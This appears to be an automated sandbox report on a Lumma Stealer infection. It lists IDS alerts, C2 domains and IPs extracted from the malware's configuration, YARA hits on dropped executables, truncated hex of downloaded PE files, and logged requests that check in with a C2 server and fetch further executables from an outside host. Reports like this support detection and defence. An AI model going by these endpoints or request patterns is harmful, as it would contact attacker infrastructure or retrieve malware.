Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49724 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49733 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49736 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49733 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49727 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49737 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49737 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49742 -> 172.67.131.246:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 7.0.fba63623fe.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.fba63623fe.exe.3d094e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 18:08:10 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 18:08:21 GMTContent-Type: application/octet-streamContent-Length: 1941504Last-Modified: Wed, 18 Dec 2024 17:19:29 GMTConnection: keep-aliveETag: "67630421-1da000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 30 4a 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c8 7f 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 64 71 64 7a 76 69 69 00 30 19 00 00 f0 30 00 00 22 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6b 66 63 75 62 78 63 00 10 00 00 00 20 4a 00 00 04 00 00 00 7a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 7e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 18:08:30 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 18:08:37 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 18:08:44 GMTContent-Type: application/octet-streamContent-Length: 4449792Last-Modified: Wed, 18 Dec 2024 17:00:19 GMTConnection: keep-aliveETag: "6762ffa3-43e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 60 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 b5 00 00 04 00 00 dd 44 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 45 b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 45 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 69 70 68 69 63 61 6b 00 70 1b 00 00 e0 99 00 00 6a 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6a 6d 6e 78 72 6b 6a 00 10 00 00 00 50 b5 00 00 06 00 00 00 be 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 b5 00 00 22 00 00 00 c4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 18:08:58 GMTContent-Type: application/octet-streamContent-Length: 1826816Last-Modified: Wed, 18 Dec 2024 17:36:18 GMTConnection: keep-aliveETag: "67630812-1be000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 70 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 48 00 00 04 00 00 cd 55 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 68 77 73 74 65 70 00 60 19 00 00 00 2f 00 00 5a 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 76 64 72 71 74 65 79 00 10 00 00 00 60 48 00 00 04 00 00 00 ba 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 48 00 00 22 00 00 00 be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 30 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017010001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
